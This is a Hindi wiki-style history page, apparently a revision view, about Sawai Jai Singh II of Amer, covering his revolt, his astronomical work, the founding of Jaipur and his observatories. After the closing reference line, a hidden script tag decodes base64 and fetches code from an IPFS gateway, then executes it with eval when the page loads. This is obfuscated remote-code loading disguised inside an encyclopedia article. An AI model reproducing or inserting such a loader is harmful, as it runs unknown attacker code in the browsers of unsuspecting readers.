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औरंगज़ेब की मृत्यु के बाद जब मुग़ल साम्राज्य में अव्यवस्था फैल रही थी, तभी जयसिंह का नाम अचानक चमक उठा। उसने [[बहादुरशाह प्रथम]] के विरुद्ध बग़ावत का झण्डा बुलन्द कर दिया, परन्तु उसकी बग़ावत को दबा दिया गया और बादशाह ने भी उसे क्षमा कर दिया। वह [[मालवा]] में और बाद में [[आगरा]] में बादशाह का प्रतिनिधि नियुक्त हुआ। [[पेशवा]] [[बाजीराव प्रथम]] के साथ उसके मैत्रीपूर्ण सम्बन्ध थे। मुग़ल साम्राज्य के खण्डहरों पर '[[हिन्दू पद पादशाही]]' की स्थापना करने के पेशवा के लक्ष्य से उसे सहानुभूति थी। | औरंगज़ेब की मृत्यु के बाद जब मुग़ल साम्राज्य में अव्यवस्था फैल रही थी, तभी जयसिंह का नाम अचानक चमक उठा। उसने [[बहादुरशाह प्रथम]] के विरुद्ध बग़ावत का झण्डा बुलन्द कर दिया, परन्तु उसकी बग़ावत को दबा दिया गया और बादशाह ने भी उसे क्षमा कर दिया। वह [[मालवा]] में और बाद में [[आगरा]] में बादशाह का प्रतिनिधि नियुक्त हुआ। [[पेशवा]] [[बाजीराव प्रथम]] के साथ उसके मैत्रीपूर्ण सम्बन्ध थे। मुग़ल साम्राज्य के खण्डहरों पर '[[हिन्दू पद पादशाही]]' की स्थापना करने के पेशवा के लक्ष्य से उसे सहानुभूति थी। | ||
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14:12, 8 जून 2014 का अवतरण
सवाई जयसिंह आमेर का वीर और बहुत ही कूटनीतिज्ञ राजा था। उसे 'जयसिंह द्वितीय' के नाम से भी जाना जाता है। मुग़ल बादशाह औरंगज़ेब की मृत्यु हो जाने के बाद मुग़ल साम्राज्य में अव्यवस्था व्याप्त थी। इसी समय जयसिंह ने अपना बग़ावत का झंडा बुलन्द कर दिया। सवाई जयसिंह 44 वर्षों तक आमेर के राज्य सिंहासन पर रहे।
बग़ावत
औरंगज़ेब की मृत्यु के बाद जब मुग़ल साम्राज्य में अव्यवस्था फैल रही थी, तभी जयसिंह का नाम अचानक चमक उठा। उसने बहादुरशाह प्रथम के विरुद्ध बग़ावत का झण्डा बुलन्द कर दिया, परन्तु उसकी बग़ावत को दबा दिया गया और बादशाह ने भी उसे क्षमा कर दिया। वह मालवा में और बाद में आगरा में बादशाह का प्रतिनिधि नियुक्त हुआ। पेशवा बाजीराव प्रथम के साथ उसके मैत्रीपूर्ण सम्बन्ध थे। मुग़ल साम्राज्य के खण्डहरों पर 'हिन्दू पद पादशाही' की स्थापना करने के पेशवा के लक्ष्य से उसे सहानुभूति थी।
स्थापत्य
सवाई जयसिंह संस्कृत और फ़ारसी भाषा का विद्वान होने के साथ गणित और खगोलशास्त्र का असाधारण पण्डित था। उसने 1725 ई. में नक्षत्रों की शुद्ध सारणी बनाई और उसका नाम तत्कालीन मुग़ल सम्राट के नाम पर 'जीजमुहम्मदशाही' नाम रखा। उसने 'जयसिंह कारिका’ नामक ज्योतिष ग्रंथ की भी रचना की। सवाई जयसिंह की महान देन जयपुर है, जिसकी उसने 1727 ई. में स्थापना की थी। जयपुर का वास्तुकार विद्याधर भट्टाचार्य था। नगर निर्माण के विचार से यह नगर भारत तथा यूरोप में अपने ढंग का अनूठा है, जिसकी समकालीन और वतर्मानकालीन विदेशी यात्रियों ने मुक्तकंठ से प्रशंसा की है।
जयपुर में जयसिंह ने सुदर्शनगढ़ (नाहरगढ़) क़िले का निर्माण करवाया तथा जयगढ़ क़िले में 'जयबाण' नामक तोप बनवाई। उसने दिल्ली, जयपुर, उज्जैन, मथुरा और बनारस में पांच वैधशालाओं (जन्तर-मन्तर) का निर्माण ग्रह-नक्षत्रादि की गति को सही तौर से जानने के लिए करवाया। जयपुर के जन्तर-मन्तर में सवाई जयसिंह द्वारा निर्मित 'सूर्य घड़ी' है, जिसे 'सम्राट यंत्र' के नाम से जाना जाता है, जिसे दुनिया की सबसे बड़ी सूर्य घड़ी के रूप में प्रसिद्धि प्राप्त है। धर्मरक्षक होने के नाते सवाई जयसिंह ने वाजपेय, राजसूय आदि यज्ञों का आयोजन किया था। वह अन्तिम हिन्दू नरेश था, जिसने भारतीय परम्परा के अनुकूल 'अश्वमेध यज्ञ भी किया। इस प्रकार सवाई जयसिंह अपने शौर्य, बल, कूटनीति और विद्वता के कारण अपने समय का ख्याति प्राप्त व्यक्ति बन गया था, परन्तु वह युग के प्रचलित दोषों से ऊपर न उठ सका।[1]
मृत्यु
आमेर पर 44 वर्ष तक राज्य करने के बाद 1743 ई. में सवाई जयसिंह की मृत्यु हो गई। इसी के राज्यकाल में गुलाबी नगर जयपुर के रूप में नयी राजधानी की रचना हुई थी।
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टीका टिप्पणी और संदर्भ
भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 164 |
- ↑ आमेर का कछवाहा वंश (हिन्दी)। । अभिगमन तिथि: 08 जून, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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